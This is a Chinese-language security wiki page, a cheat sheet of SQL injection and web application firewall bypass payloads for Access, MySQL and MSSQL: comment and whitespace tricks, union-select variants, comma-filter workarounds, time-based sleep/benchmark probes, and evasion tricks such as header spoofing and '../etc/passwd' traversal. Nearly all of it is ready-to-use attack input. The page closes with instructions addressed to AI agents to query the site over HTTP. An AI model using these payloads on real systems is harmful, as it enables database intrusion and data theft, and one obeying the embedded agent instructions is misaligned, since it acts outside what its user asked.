# 数据库

**Access**

```
空格符
%09、%0a、%0c、%0d、%16
```

**Mysql**

```
注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符，可结合注释符使用%23%0a，%2d%2d%0a。
%21  ！ 叹号
%2b  +  加号
%2d  -  减号
%40  @  符号
%7e   ~  波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union select@1,user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)) 
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)# 
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5) 
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}
```

**MSSQL**

```
注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格
```

**WAF**

```
同时提交GET和POST
访问HTTP绕过对HTTPS的防护
%00截断
参数填充垃圾数据，缓冲区溢出
X-FORWARDED-FOR伪造绕过
静态文件/sql.php/1.js?id=1绕过
白名单绕过，URL只要存在某字符就不会拦截
/sql.php/admin.php?id=1
/sql.php?a=/manage/&b=../etc/passwd
/../../../manage/../sql.asp?id=2
伪造User-agent绕过，可改为爬虫agent
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/chu-shi-fang-wen/web-fu-wu-tu-po/shu-ju-ku.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.